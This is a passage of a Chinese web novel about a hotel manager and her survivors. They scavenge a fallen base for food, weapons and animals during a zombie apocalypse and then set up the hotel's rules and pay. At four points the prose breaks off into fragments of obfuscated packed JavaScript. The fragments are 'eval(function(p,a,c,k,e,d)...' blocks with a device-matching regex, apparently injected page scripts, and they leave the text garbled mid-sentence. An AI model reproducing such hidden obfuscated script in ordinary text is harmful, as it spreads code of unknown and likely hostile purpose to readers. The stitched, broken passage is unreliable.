“他手下的那两个畜生，之前硬生生地用铁棍把一个人的四肢都砸烂了丢出去……”许在杉咬牙切齿地回想，但脸上闪过一丝心有余悸的恐惧。 何莱听完忧心忡忡地将盒饭里的苦瓜夹给了旁边也端着盒饭乖巧坐着的徐冬青。 “我们军团的副团长就是在物资争夺的时候牺牲在他手里，虽说没有定论掰扯了很久，但谁都知道是那个畜生干的。”王守诚闷闷地低头擦着他的甩棍，糖糖坐在冬青旁边一言不发。 老人们保持一贯的沉默，除了蓉姨发出一声“啊呀这世道真不得了”的感慨。 “……我们还是先去希望基地转转吧。”何莱很快做了决定，当务之急是让酒店进入物资与消耗平衡的良好运转模式，而非解锁全新的超级敌人类。 酒店大厅已经顺利转化为行动作战指挥部，本次行动的出行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那明天早上，去的路上你试着开一下？”王守诚提议。 “没问题！”双胞胎里的姐姐看起来要比弟弟开朗得多，一把下了保证。旁边的许在杉表情凝重，显然是在担心，但也跟着缓缓点头：“我不会拖后腿的。” “的确，你们这一群人简直都是彼此的后腿。谁也别说谁吧。”系统在何莱耳边下了结语。 次日，他们将先前逃亡回来时特意开到远处藏好的大巴车再次启动，一行四人抵达希望基地。 “好了，所有人跟紧我。”王守诚背着巨大的登山背包，双手握住甩棍，警惕地走在最前端。何莱右手捏紧匕首，左手牢牢固定着搭在肩膀上的尼龙袋，半步不离地跟在他身后。许约棠和在杉这对姐弟也都背着同样的尼龙袋，背靠着背观察四周，缓慢地跟随移动。他们简单地分成了两个作战小组，逐渐步入了希望基地的残骸。 王守诚的视线扫过一圈，还来不及心酸：过去象征着安全和坚固的铁质城门总让他在任务归来时如释重负地感到一阵阵安心，此刻已经成了砸倒在地后的一块内陷的废铁，而在附近游荡的丧尸开始注意到他们这群人了，嘶吼声逐渐重叠着近了起来。 “走！”王守诚当机立断，朝着斜前方的矮楼冲去，那一块是过去行政长官的办公区，紧挨着军团训练场和装备库。 何莱跟着拔腿就跑，余光不断掠过开始被他们一行人刺激躁动起来的丧尸，不动声色地打量着这片区域——城墙也是厚铁陶铸的，围绕着这片土地画出一个歪歪扭扭的圆，从包裹住的居民建筑楼可以看出在末日来临前这里曾经是个老小区，不远处倒塌的废墟里透出一块掉了漆的滑道——孩子们的小游乐场。到处都有燃烧的痕迹，就连那些建筑也被烟熏火燎上了颜色，他们正快速接近小区中心的——物业管理处？ “进里边的房间！”王守诚一马当先，跃过被砸碎了的管理处大门，熟练地转身进入右侧走廊，一手一边拉着快跑岔气的弟弟和扶着他的姐姐，闪身进入第二间办公室，何莱快步跟上后心领神会地关上房门。 10. 母鸡、绵羊和蜥蜴进行曲10 紧追而上的丧尸已经进入管理处大门，听见声响来自走廊后也跟着进入，逐一撞上办公室的房门或蹒跚走进别的房间。 王守诚捂着许在杉的嘴巴，许约棠在打量房间——没有窗户，阴凉的物资储存室，主要是方便食品。此刻他们脚边还散落着一些被踩碎的苏打饼干，角落里堆着几箱被拆封拿走部分的矿泉水，还有些血迹洒在上边。 丧尸们最多会在外边游荡一阵，然后就被别的声音吸引散开。 到时候他们要面对的只是管理处里的丧尸，随时能退回门内，避开了在基地门口的旷野区作战无法脱身。 何莱已经蹲在地上打开尼龙袋，开始大装特装，她压低了声音嘶嘶作响，表情兴奋：“我们有吃的了！快来帮忙！”这些天来一直被生存压力困扰的店长此刻如同老鼠进了粮仓，装袋的手速快得让许在杉都要看不清了。 王守诚捡起地上被踩碎的葱油味饼干，从包装里拿出一块还算干净的塞进嘴里，压低了嗓音：“我们在这休整一会，店长，等会搬走一半就行了。再多也拿不动。”希望基地或许还有存活的幸存者躲在这一块，王守诚总是想多给昔日的同胞们一些希望。 “行。”何莱很快就明白他的意思，然后忍不住开口问：“你们的城墙是怎么回事？这一片是怎么规划的？” “这里有鸡肉肠！”在杉从箱子里探出头来，喜极而泣。 “这里最初是老式小区，附近还有一所学校，人口密度很大。”王守诚掰开鸡肉肠，嘴里还在嚼着饼干：“物资也还算丰富，听说菜市场和小卖部是最开始被收编的。”他停下来喝口水：“我是后边才来的，只听说这里的高层里有几位异能者，包括能够融化金属的，还有电系异能的。后来他们逐渐从小区里往外扩张，把学校和附近的空地也都划了进来。” 他用手指在地板上的灰尘里画了个圈：“建城墙花了快一年的时间，金属很厚，而且导电性能很好，我们基地的防御水平一直是最高的。”王守诚点点圆的中间：“我们现在就在指挥部，以前的物业管理处，身后就是居民小区。因为有了围墙，所以小区的铁门没了作用，也都被拆了下来，用来加厚城墙。”王守诚顿了顿：“那一年快结束的时候我才来到希望基地，他们已经把附近的所有金属都收集起来打造更安全的城墙，不断加厚。如果不是遇到这种大型尸潮……”他神情沮丧了下去。 “居民楼外边的空地就是农业区，另一边的学校变成了你们军团的驻扎地。”许在杉指出来，他刚才在狂奔时也没忘了四处乱看：“我和……我们的老大出来过一次。还有印象。” “你们的老大又是怎么回事？”何莱埋头吃饭的同时不忘换个方向打探消息：“简直反人类了还能拥有这么多属下？你们不逃吗？” 许在杉愁眉不展：“他的几个心腹全是亲戚，在最开始的时候就抢了话语权。一开始说得好好的，一起求生，慢慢就变成我们住他的地方吃他的物资亏欠他了。”许在杉小心地看她一眼：“然后有人投奔了希望基地。硬是被找出来拖了回去，一路都在惨叫。等到了超市……都已经被烧得只剩下炭灰了。” 何莱皱着眉一眼不凡。 王守诚也跟着皱眉：“我都不知道这件事。” “知道了也没用。”许约棠丧得如出一辙：“都末日了，随便说点什么他偷了东西、做了错事，谁敢拦着？既然已经投奔了那地方，就算是签了卖身契了。老大要管人，底下的人能说什么呢？渐渐的跑的人都死得差不多了，就没有人敢跑了。” 何莱同情地拍拍她的肩膀：“我们偷车的那天，你们是被泄愤才挨揍了吧？抱歉……”他们当初为了不被盯上，特意把车开到距离翡翠酒店较远的地方，扎扎实实地在旅馆里躲了一周，就是为了躲过超市丢车后的搜查。 “倒也不是因为你们。他每隔几天就会抽一次号码，被选中的人就要倒霉。”许在杉无精打采：“我是18号。” “我是53——我们过去的时候，原来的53号刚好死了。”许约棠耸肩：“我估计那边再这样下去，人数规模也会慢慢变小。毕竟已经很难再找到会被他骗过去的新人了。” “这样啊……”何莱轻声道。 “哪怕以后被抓到也没关系，那种不是人过的日子，我再也不想过了。”许约棠把脸搁在膝盖，随后释然一笑：“吃得越来越少，本来我们几个可能也很快要去送死了。现在呢，活一天就赚一天。” 王守诚最后拍了拍她的脑袋以示安慰。 他们吃完休整一阵，决定先搬运完物资再去收集武器，王守诚带着众人把那些箱子都沿着角落堆放，腾出一块空间，才小心翼翼地打开房门，闪电般出手拉进一只丧尸。 “啊！”许在杉被吓了一跳。 “特训班开始，你先来。”何莱把匕首递过去。 “每一次我们都用这种方法消耗敌人，一次一只，轮流来杀。”王守诚的手摁在甩棍上，紧紧盯着许在杉的动作，随时做好救援准备：“攻击它的头部，瞄准太阳穴或者额头，如果担心距离太近就从身后突袭。” “知道了……！”许在杉上前两步，王守诚松开被他控制着的丧尸，其余人后退一步为他留出空间。 许约棠也紧紧地盯着自己的弟弟，直到看见他一鼓作气抬起手用力地往下捅穿丧尸的脑袋才松了口气。 “瞧，杀丧尸其实挺容易的。”王守诚拍了拍他的肩膀，低头发现已经软塌塌倒地的丧尸从脑袋里冒出莹莹绿光：“你运气不错，有晶核。” “那个……”何莱举起手，许在杉脸色发白地看了她一眼，弯腰从地上捡起来，将晶核甩了甩放她手里：“我今天拿到的都给你。” “哎谢谢谢谢！太感谢了……”何莱快乐地接过匕首：“下一个我来，麻烦你了王叔。” ……拿到晶核以后连称呼都变亲密了。王守诚想着，再次拉开了房间门。 半个小时后，浑身脏兮兮的三个年轻人跟在一个中年男人身后，每人都又提又拿地抓着尼龙袋或者登山包，咬牙切齿呼哧呼哧地往前狂奔，赶到那辆大巴车上。 何莱刚将物资甩上座椅，几乎脱力地垂着双手，回头就撞见王守诚一人折返，周旋着牵制几个已经扑过来的丧尸，许约棠握着那把匕首，快速地上前突袭，二人配合得天衣无缝。 “你姐，打架好厉害……”何莱看呆了。 “我姐在学校的——时候，跆拳道、社长，拿过……很多奖……”许在杉在旁边扶着座椅呼哧呼哧。 “好了！又有丧尸过来了，跟着我跑，去武器库。”王守诚看了他们一眼，招了招手才往前跑，许约棠看一眼何莱，何莱点头，拉着许在杉下车，几乎是提着他一起狂奔。 “你怎么和你姐完全不一样啊！”何莱追赶着前面的两人，在奔跑间隙中吐槽在奔跑中看起来随时都要升天的许在杉。 “我是……我是文学社的……”许在杉面如金纸，强行说完后半句：“社长。” “文学社长有什么用啊！！！” 四人一路狂奔，终于赶在许社长断气之前抵达了训练场——已经在末日中衰败的学校，历经幸存者们的改造后成了一处军营，此刻又变得寂寥起来。 王守诚脚步加快，绕过一个又一个路障，挪开挡板让他们进入。这一块比起外边明显有了防御措施，重重叠叠的屏障确保了即使在基地沦陷时也未被丧尸入侵得太彻底。许约棠抬脚踹翻一个走廊上徘徊的丧尸，何莱接过她抛起的匕首，上前猛地往下蹲去，捅穿了整个丧尸脑袋。 “晶核！”她惊喜地低呼一声，毫不嫌脏地挖出来，在裤子上擦了擦塞进口袋。王守诚也拎起角落的灭火器，用力砸开一扇登记和存放武器的房间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在杉，这有把长军刺，给你用来防人类。”王守诚把棱形刀头朝着自己，递给许在杉：“这个主要是放血用的，对丧尸没有太大附加伤害。” 他又打量了一会何莱：“你的近身能力比在杉强一点，可能会更适合......” “适合什么？” “这个。”王守诚缓缓抽出一把雨伞。 “啊？” 何莱目瞪口呆，随后才望见被雨伞压倒的那把偃月刀。刀柄涂满凝重的素黑，刀片如弯月，透露出肃杀的冷意。 “这个——” 何莱艰难地握起这把长柄刀：“你们从哪里弄到的？它的柄长都快到我肩膀了。” 她接过那款充满现代特色的蝴蝶刀，再在看一眼握在手中的传统古朴武器，发出一声感慨：“我这搭配看起来真像是走投无路了。” “古今中外混搭，杀出一条血路不好么？”许在杉笑她。 “在杉不适合打头阵，平时还是以自保为主，军刺放血难愈合的特性也适合对付人类敌人。”王守诚缓慢解释着自己的建议：“就算不行，配合菜刀去厨房处理食材也是很方便的。而约棠胆子够大，和我在前方一左一右开路，需要一个能够及时补位并在后方清除快要近身丧尸的人。”他意味深长地看一眼何莱：“这刀柄足够长，适合清场。” “还能套个抹布在酒店里打扫天花板的卫生，对吧。”何莱左手拎着长刀面无表情地吐槽，从货架上翻找绑腿武器带，将蝴蝶刀牢牢固定在右腿外侧。 “好，收拾好东西我们就走了。”王守诚看一圈房间：“尽可能装一点武器走，留作以后的替换。” “酒店里的老人们也要武装起来。”许约棠将那把古剑背在身后，双手持握峨嵋刺，神情飒爽如同古代下山误入末日丧尸片场的女侠。 许在杉拎着菜刀和军刺心想，自己还是更适合去杀鸡。 11. 母鸡、绵羊和蜥蜴进行曲11 王守诚的高强度改装甩棍和锋锐匕首看起来非常搭配，何莱也盯着他，再看一眼自己手中的偃月刀。 “先回大巴？”何莱说：“然后我们就去搜寻种子和家畜。” “我喊三二一，大家就跑。这边过去有点远，不能掉队，何莱看着点在杉。” “没问题！” “啊。”许在杉强作镇定。 返程的路上，许约棠一马当先冲在最前，她在来的路上已经记好了线路。自从末世来临被迫进入那家超市避难，她已经很久没有过如此畅快写意地拔腿狂奔在天空之下。 即使身处险境，四周不断掠过丧尸逐渐靠近的身影，也无法破坏她轻盈的自由之感。 余光忽然掠过一阵橘棕色。 “？” “母鸡！”上气不接下气的许在杉叫起来：“那有只鸡！” 一只精神奕奕的母鸡正领着一路丧尸与他们反方向狂奔，没有任何身为食物被追捕的自觉，欢快地一路高歌。 “王叔！”何莱眼疾手快接过王守诚的巨大背包，被里边叮叮当当的金属武器们绊得脚步一跌，许氏姐弟连忙赶来帮忙，一起托着登山包继续往前奔跑：“我们在大巴车那里等你！” “收到。”王守诚卸下负重，飞快提起速度直奔那只在末日中的遗留母鸡狂奔而去，一副对丧尸口夺食势在必得的表情。 等他拎着那只精疲力竭的鸡回到大巴汇合点时，何莱从玻璃后探出脑袋，王守诚通过从内部打开的车门上了车，发现许在杉和许约棠躺了一地。 “大巴车有高度优势，我们上来以后就躺倒了。丧尸看不见人影就会被远处的声响吸引走——你那边刚才传来了很响亮的鸡叫声，所以丧尸差不多都被引走了。”何莱说。许在杉迅速地坐起来看一眼外边又重新围上大巴的丧尸们，它们是被王守诚带过来的，于是许在杉又躺倒在地安心恢复体力。 王守诚蹲下来，一边听着何莱的解说，一边用包里的登山绳牢牢困住那只鸡的双腿和鸡喙，听着它从喉咙里发出的咕咕声，犹豫片刻问何莱：“留在车上的话我怕它叫起来，如果吸引到丧尸围车，我们等会儿没办法登车。是要现在杀掉今晚加餐，还是我们再看看等会能不能多逮一只公鸡回去？” “我来。”许约棠借了弟弟的菜刀，手起刀柄落，利落地将鸡头敲晕过去，抬头看向大家：“我们是农校学生，以前做实验，至少晕两个小时，力度没问题。” “赞啊！”何莱说。 “天色开始变暗了，我们尽快再去一趟种植区。”王守诚重新严肃起来：“本来想去居民区搜寻幸存者的，但今天还是先确保物资安全运回酒店。”居民区被攻破以后危险系数变得很高，他不想拿大家的性命冒险。 他们一行人再度轻装上阵，狂奔掠过居民区外围的时候并没有人察觉，一栋高楼的顶层房间里，窗帘被悄悄掀起，露出了一双眼睛盯着他们离去的身影，迟迟没有收回。 抵达种植区的时候，王守诚如释重负地看见镂空铁门被重新关上，显然是在此之前就有基地幸存者或者附近的人来了一趟，他记得自己离开前就看到了丧尸们踩上田垄的惨象。 “咩。” 一头羊走到了铁门前，仰头亲切地看着他。 “肖恩！”王守诚惊喜地叫了出声，手上动作不停，解开拴住门锁的铁链——上一位来访客只是简单地用链条打了个死结，想必也只是为了抵挡丧尸而不是阻绝人类的到来。 “......”何莱伸出双手，对着那头小羊，想要将对方打包带走的心思蠢蠢欲动。 “啊！”许在杉指着光秃秃的田垄发出惨叫：“那头羊！那头羊把植物都翻出来吃了！”王守诚抚摸羊头的手一僵，急忙也冲到田边，许约棠已经在双手刨地寻找是否有幸存下来的种子了。 “青菜全没了，这里有它吃剩的土豆。”许约棠再抬头的时候面色十分不好：“我们的最后一个小学期里学过极限培育......但它吃剩的太少了。” “这里还有一块！”许在杉欢呼一声，举起被啃得形状可疑的土豆块：“谢天谢地这头羊不爱吃土豆。” 那头羊趁着所有人忙忙碌碌搜寻幸存食物之时，迈着快步来到那几株被啃得无法拯救的辣椒苗旁，最后咀嚼几大口，再回头看一眼他们，漆黑的小眼睛里闪过狡黠的光芒，迈着蹄子飞速往外奔去。 “肖恩！”王守诚站起身来，拔腿追赶。许约棠和许在杉确认一无所获之后，匆匆将两块土豆包裹起来跟在身后狂奔。何莱苦着脸，双手牢牢把持着那把偃月刀，负责殿后的同时不忘精准地戳向一只摇摇晃晃往这边走的丧尸。 希望基地的一日探险结束了。 “你们把什么抱回来了？！” 当他们回到酒店，系统尖锐的声音直指抱在何莱怀中那只无辜眨眼的母鸡。 “快！大家都出去帮忙，先把物资搬回来，我们还要把车开走！”何莱一边飞快地解下绑在身上的尼龙袋，一边扭头对老人们叮嘱。 在杉和约棠两人腿脚飞快地穿梭来回，王守诚一言不发地扛起几箱压缩饼干。为了节省空间和体力，他们没有带回任何饮用水。酒店里的水龙头里涌出不限量的干净水资源这件事，所有人都保持着默契的沉默。 “饭都吃不上了，你还在想着养鸡！”系统追在何莱身后喋喋不休，忽然倒吸一口凉气截然而止：“这又是什么！我问你这是什么！” 一只浅绿色小蜥蜴从母鸡蓬松的羽毛中探出头来，露出舌头的表情像极了挑衅的微笑。 “喔？”何莱拎着它的尾巴将蜥蜴提起来，与那小家伙活灵活现的脑袋对视几秒，轻轻地放回在母鸡身上：“我不知道，它之前没出来过。既然这么颠簸的一路都没有掉下去……也算是和我们有缘。” “很好，这只看上去就会白吃白喝的白痴母鸡还把自己的朋友给带来了，你打算叫他们什么？”系统挖苦道：“形影不离的蝙蝠侠和罗宾吗？” 何莱抱着母鸡叹气：“一只蜥蜴能吃多少东西呢？” 许约棠去驾车驶离酒店藏匿大巴行踪，王守诚擦着汗走进来，看见他们的店长正手捧母鸡陷入沉思，以为是她正在为失去了那头养殖区的羊而感到悲伤，走过来安慰性地拍了拍她的肩膀：“没关系的，下次见到，我就能把羊带回来，这次是有别的任务要紧。” “我明白。”何莱郑重地点了点头：“刚才它飞得很高，你觉得叫菲菲怎么样？” “呃……这个倒是无所谓吧。”许在杉双手撑着膝盖大喘气，刚才把所有物资拖进大厅的时候累得够呛。 “就叫菲菲。”何莱说：“种植区有了，我们的养殖场也得建起来。” “养在后边会吵的喔！”荣姨走过来，翻开鸡翅膀嫌弃地捏了捏：“这鸡不肥，没有公鸡也不能下小鸡，干脆养在厨房好了咯，哪天要吃也方便。” 母鸡菲菲缩了缩脖子，藏在它身上的蜥蜴也仿佛拥有智慧般躲着不肯出来。 “没事。就先养在我房间吧。”何莱头痛叹气：“等羊来了我再想想办法……” “怎么还有羊？”系统噎了半天，几乎有些虚弱地开口:“店长，你怎么什么事都不和我说啊？” “大家先各自休息吧，今天都辛苦了。”何莱捧着鸡往自己的房间走，她急着去洗澡：“有什么事都......唉。明天起来再说。” 她回头看一眼堆满茶几和沙发的物资：“唉。物资也明天分配。” 何莱在心里重重叹气：“忙完一整天回来还要继续搬东西，像个苦力。这店长，真不想干了。” “Fine！” 系统在她耳边大叫一声，成堆的食物和武器消失在所有人的面前，出现在楼上的储物房间里，只剩下掉在地板滚动的土豆块。 糖糖兴奋地哇了一声，跑到父亲身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“重点就是，即使我感觉你只是在瞎凑人数来混升级，并不是真心实意经营酒店，我也依旧会在下次升级的时候帮助酒店进化出专门的小餐厅，你可以考虑让老人们在那里打工什么的。给他们吃点剩菜剩饭当报酬。”系统说。 “喂，这话传出去我们会被一起挂到路灯下！”何莱没好气地拿着毛巾擦干头发，感到一阵棘手的苦恼：“如果土豆能种出来，多加点水和盐做成糊糊，再加一点炖菜就算是一顿饭了，我可以用它替代一部分酒店里的盒饭消耗。” 她叹口气：“的确，盒饭我总是要回到正常定价进行售卖的，到时候再看看吧，或许人多了以后对外也可以贩卖一些，人多了就有底气了。”她一边套上睡衣一边嘟囔：“如果真在酒店里严格按照最初的定价售卖，大家就都要吃不上饭了。” “是啊。继续等吧。土豆皮记得别丢，去喂你的鸡和蜥蜴吧。”系统跟她一唱一和：“还没说完呢，下次升级以后花园里的种植区域会变大一些。酒店还会出现露天楼顶，你们要是能想办法利用好它做点文章......多少也能缓解粮食危机吧。” “凭空出现一个露天楼顶？” 何莱苦笑。虽然升级是件好事，但越往后酒店自我升级的自圆其说可能性就越低了。她得组建立一个心腹团队（系统插了一嘴：“你是指行骗团队吧？”） 王守诚甚至那对姐弟都要被安上拥有异能的伪装，才能在镇住所有人的基础上解释酒店的发展诡异之处。 “唉，都再说吧。头痛。”何莱抓乱头发，决定将这些复杂的决策丢至明天，她垂下眼睛，走出洗手间的时候望见了床上的枕头——那只鸡端坐在上边。 “喂！！！你很脏哎！！！”何莱尖叫。 蜥蜴也探出头来，露出那副似笑非笑的欠扁表情。何莱迅速地拎起那只不识好歹的母鸡，连同着它的伙伴蜥蜴一起丢进了洗手间。 过了一会儿她拉开门，将扯下来的枕套也丢了进去。 12. 母鸡、绵羊和蜥蜴进行曲12 “系统，你在吗？” 半夜三点，睁着双眼的何莱躺在床上：“我有很多想法，但总觉得心里没底。” 她迷迷瞪瞪地掰着手指算账：“其实我根本没有向大家收取住宿费，吃饭也基本上是所有人帮衬着互相分，基本上是王叔买单。双胞胎交给我的晶核也一直没有确切的说法。即使我知道他们是想帮忙，但这样下去不行，酒店压根没有开始正常运营。” “你才发现啊？”系统说。 “如果要让所有人都按照规定每日交上翡翠币，从什么时候开始呢？”她重重地叹一口气，像在自言自语：“那老人们怎么办呢？小孩怎么办呢？我如果不帮忙分担，难道要让王守诚和那对姐弟承担所有人的压力吗？” “酒店此刻确实不在正常的情况里。”系统被吵醒的声音透露着无奈：“我以为我们今晚已经讨论过这个问题了呢。” “现在才开始害怕搞砸是不是太晚了些？”何莱小声嘀咕，露出一个苦笑：“目前到店的客人看起来都是好人，疗养院的倩姐也相信我，大家都觉得我有异能，可以带着所有人活下去。” 系统罕见地没有太热爱嘲讽，静静地听着被它选中的那位店长开口讲述忧虑。 “如果这个世界真的没有出现那些命定拯救它的主角，如果我参与进的故事有了那么大的空缺，未来的危机我无法解决，到时候又该怎么办呢？”何莱一直睁着眼睛，直到视线酸胀才重新闭眼：“探索的世界越大，我的信心越开始动摇了。” “喔，因为见识到了它的残酷，还是因为有了想要守护的伙伴？”系统又开始那种卖弄的腔调：“被超市的人吓到了？还是没捉到白天那头羊很沮丧？今天太累了吗？” “我不知道。”何莱将脸埋进枕头，闷闷地开口。 “我不知道，我应该严格地执行酒店的规定，让不能支付对应晶核的人被淘汰在末日里吗？”她说：“我似乎应该这么做。但我能够利用手上的便利，想办法拉扯着所有人一起活下去吗？”她顿了顿，语气中有些迷茫：“我真的想这么做。” “那你在犹豫什么呢？”系统耐心地问了一句。 何莱翻了个身没有说话。 “如果你选择共享资源，相当于放弃酒店的正常运营，我也不会反对你的决定。”系统说：“反正不会再有主角团到来了，你就是搞砸一切也无所谓。” “那后边来的客人们怎么办？只有他们需要遵守规则缴纳晶核吗？还是不管不顾地全部收进来？万一遇上不够自觉的或者人数太多了怎么办？事情总会有无法收场的那一天。”何莱睁大双眼：“你说过的，酒店总有一天会完蛋，我不能假装一切不会发生。” “我很肯定自己的原话不是这个。”系统说：“但看见你如此有忧患意识，我确实很欣慰。” “一开始我只想让大家再缓一缓，当然也存在升级的私心。现在......我不是很确定，以后要怎么办。”何莱坐起来，再次叹气：“我们来谈谈吧。别睡了。” “首先，老人们的现状无法改变，不可能要求他们出去获得晶核来为自己的住食买单，是我把他们结果来的，我要正式聘请他们为酒店的员工，包住宿，每天有一顿员工餐，剩下的部分可以从菜园里补充。以及，他们和其他人之间的资源置换......”她的眼睛越来越亮：“归根结底，是我们的翡翠酒店资源分配太过单一，目前的人员数量较少，关系紧密，是一个对老人们有利的阶段。未来酒店人数增加，我也会促进自由贸易的市场，比如帮忙照看小孩，清洗衣物等等。在基本的生存条件得到满足后，幸存者们总能用多出的资源来购买服务。”她咬咬牙：“要把事情说清楚才行。你说得对，酒店的运营完善是保障生存者们正常生活的重要因素。”她喃喃自语：“我得再多想想。以后糖糖有王守诚负责，冬青就交给我。剩余的两姐弟完全可以自立。明天我们把物资平均分下去，正式聘请蓉姨他们，进入正常的、独立的运营。”她说：“只有这样，才能确保所有人都拥有生存的能力。” “店长，你做得很好。”系统说：“我想不到任何要补充的了。” “真的吗？”何莱歪头。 “历届店长都要经历此种考验，从定价到运营，招收怎么样的客人，是否组建团队，如何相处，如何自保，怎么确定末日中酒店存在的定位，不同经营风格模式下的决策与平衡等等，都是需要去考虑反复推敲的，所以这些年来即使留在酒店内没有逃跑的店长占了多数，但顺利运营并活下去的也只有那些。”系统说：“我可以肯定的是，他们都像你此刻一样害怕。” “昂。还真是鼓舞士气。”何莱缓缓倒了下去。 “嗯......走一步看一步吧，店长。你目前做得不错。”系统说：“如果真的有一天你陷入了无法解决的危机，愿意抛下酒店的话——”它卡顿一下，似乎多了些人性：“我也可以把你送出去。” “什么？”何莱虚弱地回答。 “不是每一任店长都拥有这个机会，它是属于你的漏洞。”系统一板一眼地用机械音说：“所有的店长都只能通过完成主线任务来脱离世界，但如果我使用主角团开场配备为零的Bug判定这个世界运行失误，你就会被抹除记忆重新分配。” 系统的声音危险地低了下去。 “这个世界会被删除，但你可以离开。” “……”何莱沉默不语，唯一的反应就是闭着眼翻了个身，忽然一只冰凉的小手贴上了她的脸。 深夜，翡翠酒店，前台的隔壁房间里传出了短促但撕裂心扉的尖叫声。 三分钟后。 何莱捧着鲜血淋漓的额头，惊魂未定地开灯盯着趴在她床上的那只蜥蜴。 “这什么！我问你这是什么！”何莱惊呼，随后立刻警惕扭头：“客人们有没有被吵醒？” “我之前也问过这个问题。”系统冷淡地答复：“客人们很好，都睡得和小猪一样，你先处理一下伤口吧。” 于是何莱龇牙咧嘴地爬下床，来到洗手间对着镜子打量那道血痕：“蜥蜴从门缝里爬出来了！” “是的，店长。恭喜你走运了，我刚才扫描了一下，这是绿鬣蜥，为数不多的素食者，脸长得有点像恐龙，据说性情温顺。它刚才并不是在啃食你而是在四处寻找同伴玩耍，只是很不幸的——你反应过度了。”系统不急不慢：“这种蜥蜴长着尖锐的倒钩爪与背上的尖刺，如果它受到惊吓，很容易在快速移动中造成伤口。” “刚刚被惊吓到的是我好不好！”何莱对着镜子擦着酒精棉，泪眼汪汪地委屈道。 “还有一个好消息，店长。”系统说：“虽然幼年绿鬣蜥的体型小巧可爱，但他们可以在短短三年内生长到1.2至1.5米。” “店长，店长？今天有客人上门。” 王守诚站在何莱的房间外，拘谨地敲了敲房门。 “竟然……等我一下！等一下！来了！” 何莱顶着乱七八糟的发型推开房门，穿着睡衣慌乱地冲了出来：“客人在哪？天啊！欢迎光临！” “咩。” 昨天的那头混账绵羊去而复返，站在前台的角落与她对视。 系统在何莱耳边发出一声冷笑。 三位紧紧挨在一起的女生站在前台的另一侧，紧握着彼此的手，仿佛在替彼此打起，此刻也一起盯着她看，再一起望向王守诚。 “这是……？”何莱的目光移向王守诚：“你的朋友？” “她们是——自称是希望基地居民。”王守诚严谨地补充了后半句，并礼貌地用手掌指向中间的那位姑娘：“我应该是见过她的，比较眼熟。” “你们好。”何莱对着她们点头。 王守诚对着绵羊招了招手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我是她同事，双百百，产品研发部。”圆脸的高个姑娘点头：“叫我昵称就可以了，大家一般都叫我百百。” “维修部，谢珂。”旁边安静的女生简单地总结。 “她也是我们同事。”双百百补充道：“丧尸爆发那天就是她把我们带进了老总茶水间，躲开了最恐怖的前七天。” “你们老总还好吗？”何莱忍不住提问。 “他就是我们杀掉的第一只丧尸。”梁画垂下眼：“真的，一进门他就那样了。本来只是想一起躲躲的。” “也不一定是第一只，严格来说一打开门，我们老总和隔壁谈生意的几个总就一起扑上了。”双百百说。 “嗯。”谢珂说。 众人对视一眼，许在杉很有眼色地开始鼓掌。 “这感觉像入职当天欢迎加入大家庭的团建环节。”双百百耸肩：“可恶的丧尸爆发，害得我直到现在都还没转正呢。” “你让她给点晶核，本店也承办转正派对服务。”系统对何莱说。 “我们三个一直合租在那个小区里，因为离公司近。所以末日爆发后，先在公司撑过了最初混乱的日子，又带着物资一路逃回小区，等到存粮耗尽，希望基地刚好建起来了。”梁画说：“再后来我们靠着各自的本领混了口饭吃，基地完蛋以后存粮又耗尽了。”她无辜地眨眨眼，看向何莱：“我们又过来了。” “我们什么都能做，团队里有顶尖技术人员、综合型复合人才和天才维修人员。”双百百立刻补充：“全希望基地的门都是谢珂修好的！电子设备也都是梁画来调试的。我能种田也能战斗，还可以照顾老人小孩，可以教书。”她的目光移过老老少少，又移向厨房：“杀鸡和杀羊也不成问题！” “别急，我还想着要把它们养起来。”何莱连忙阻拦，同时她冲天空打了个响指，系统配合地降下一场压缩饼干与方便面之雨，武器则是被规规矩矩地摆放在了茶几上。 13. 母鸡、绵羊和蜥蜴进行曲13 “今天也趁此机会，重申一下我们目前的打算吧。”何莱在众人再次被系统炫技陷入沉默的当口里，继续不紧不慢地开口：“今天我们把所有的物资平分下去，确保每人或者每两人都有武器。你们的床底下都有可以上锁的小柜子，把各自的物资保管好。” 她看一眼众人：“六位老人们将被正式聘用为酒店的内勤保障人员，生活的各方各面都会覆盖。他们的员工待遇是免除住宿费，每天中午十二点会有一份盒饭套餐。” 她想了想，又补充道：“糖糖由他爸负责，冬青的那份住宿费和食物从今天起我来承担，她就当是我妹妹了。剩余各人都需要按规定进行缴费。任何自己探索的物资不需要上缴，所有团队探索的物资平分就好。” 冬青跑到了何莱旁边，紧紧靠着她：“姐姐，我也会想办法养活自己的。” 何莱摸摸她的脸，微笑着点头：“我相信。但不用着急，在你想到办法之前，我多养一个小孩还是可以的。” 蓉姨那边领着老人们都没意见，反而有种如释重负的感觉。他们在末日中被当成累赘太久，每次在群体之中拿取物资都带有强烈的不自在感。今日把话说开，反而让他们期待起未来的工作和堂堂正正的午餐报酬。 王守诚父子和许在杉姐弟二话不说，已经开始帮忙轻点和分发物资。何莱怀里也被塞了方便面和一袋感冒药。 新加入的社畜三人组同样对货币体系接受良好，大概是公司文化的潜移默化。她们在三年末日中也有不少晶核积蓄，此刻直接去了前台兑换翡翠币，将第一天的房费缴纳给了何莱。 